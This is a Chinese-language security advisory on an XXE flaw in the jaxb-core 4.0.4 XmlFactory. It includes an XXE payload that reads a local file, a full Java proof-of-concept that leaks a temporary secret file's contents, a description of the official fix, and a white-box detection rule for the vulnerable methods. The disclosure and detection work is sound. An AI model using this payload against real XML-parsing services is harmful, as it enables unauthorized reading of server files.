本文作者:宇航@涂鸦智能安全实验室
漏洞编号
CVE-2026-92877
受影响版本:
org.glassfish.jaxb:jaxb-core [4.0.4,4.0.4]
漏洞危害
Eclipse Implementation of JAXB(jaxb-ri)是开源的 Jakarta XML Binding 参考实现,org.glassfish.jaxb:jaxb-core 提供 XML 解析工厂,供运行时把 XML 文档反序列化为 Java 对象。 受影响版本中,XmlFactory 的 createParserFactory 与 createDocumentBuilderFactory 在默认开启 XML 安全处理时只设置 FEATURE_SECURE_PROCESSING。应用若通过 Unmarshaller 反序列化不可信 XML,且所用 JAXP 实现在仅启用该特性时仍解析外部实体,攻击者可借助带外 XXE 读取本地文件。 修复版本中通过在安全处理开启时禁止 DOCTYPE,并关闭外部通用实体、外部参数实体和外部 DTD 加载,切断仅依赖 FEATURE_SECURE_PROCESSING 时的外部实体解析路径;DocumentBuilderFactory 同时关闭实体引用展开。
漏洞poc
xxe
<?xml version='1.0'encoding='UTF-8'?><!DOCTYPEroot[<!ENTITYxxeSYSTEM'file:///var/folders/2t/l3fndlbn06s6yvwjtxdzbd2r0000gn/T/jaxb-xxe-secret-83530044694507676.txt'>]><root>&xxe;</root>漏洞触发点:
DocumentBuilderFactory factory=XmlFactory.createDocumentBuilderFactory(false);factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"all");factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"all");String leaked=factory.newDocumentBuilder().parse(newInputSource(newStringReader(xml))).getDocumentElement().getTextContent();漏洞详情
该漏洞主要在于XmlFactory.createDocumentBuilderFactory(false)仅调用setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, !isXMLSecurityDisabled(…)),自身不提供任何XXE防护。
以下是验证poc:
packagecom.example.test.cves;importcom.sun.xml.bind.v2.util.XmlFactory;importorg.xml.sax.InputSource;importjavax.xml.XMLConstants;importjavax.xml.parsers.DocumentBuilderFactory;importjava.io.StringReader;importjava.nio.charset.StandardCharsets;importjava.nio.file.Files;importjava.nio.file.Path;publicclassCVE_2026_92877{publicstaticvoidmain(String[]args)throws Exception{Path secret=Files.createTempFile("jaxb-xxe-secret-",".txt");String secretContent="FLAG{JAXB_CVE_2026_92877_LOCAL_FILE_LEAK}";Files.write(secret,secretContent.getBytes(StandardCharsets.UTF_8));String xml="<?xml version='1.0' encoding='UTF-8'?>"+"<!DOCTYPE root [ <!ENTITY xxe SYSTEM '"+secret.toUri().toASCIIString()+"'> ]>"+"<root>&xxe;</root>";System.out.println("poc: "+xml.toString());System.out.println("CVE-2026-92877 漏洞验证");System.out.println("Eclipse JAXB-RI XmlFactory 缺少外部实体防护导致 XXE 文件读取");System.out.println("目标本地文件: "+secret);DocumentBuilderFactory factory=XmlFactory.createDocumentBuilderFactory(false);factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"all");factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"all");String leaked=factory.newDocumentBuilder().parse(newInputSource(newStringReader(xml))).getDocumentElement().getTextContent();System.out.println("XML 解析取到的内容: "+leaked);if(secretContent.equals(leaked)){System.out.println("✓ 漏洞触发成功:XmlFactory 自身未提供任何 XXE 防护,本地文件内容被完整读出");}else{System.out.println("✗ 外部实体未被展开(漏洞已修复)");}Files.deleteIfExists(secret);}}运行后可得到:
调用堆栈如下:
修复方案
官方修复见 PR #2013(在 securityOn 分支内新增 disallow-doctype-decl=true、external-general-entities=false、external-parameter-entities=false、load-external-dtd=false,
并对 DOM 工厂调用 setExpandEntityReferences(false))。
加白策略
由上分析可知此处漏洞触发条件有以下两点
1、使用如下不安全写法,直接调用了createParserFactory() / createDocumentBuilderFactory()进行xml的解析。
2、用户可自定义xml内容。
此处影响范围较大,可通过具体函数进行匹配,从而转换为白盒规则。
白盒规则
其中 com.sun.xml.bind.v2.util.XmlFactory.createDocumentBuilderFactory和 createParserFactory函数加入代码卫士规则进行二次确认。如存在使用该缺陷函数的代码,进行确认是否存在安全配置项。
主要匹配内容:
com.sun.xml.bind.v2.util.XmlFactory.createDocumentBuilderFactory();
com.sun.xml.bind.v2.util.XmlFactory.createParserFactory()。
包名:com.sun.xml.bind.v2.util
类名:XmlFactory
方法名:createDocumentBuilderFactory、createParserFactory
使用语义分析策略即可,整体规则如下:
<Semanticid="4ea4a631-7b56-4a49-9db0-4d4cb3b3cdc5"version="1.1.1"><MethodDefinitionimplements="true"overrides="true"extends="true"><!--填写需要匹配的命名空间正则表达式或字符串,可选,不需要匹配命名空间则删除该节点--><NamespaceNametype="value">com.sun.xml.bind.v2.util</NamespaceName><!--填写需要匹配的类名正则表达式或字符串,可选,不需要匹配类名则删除该节点--><ClassNametype="pattern">XmlFactory</ClassName><!--填写需要匹配的方法名正则表达式或字符串--><MethodNametype="pattern">createDocumentBuilderFactory|createParserFactory</MethodName></MethodDefinition></Semantic>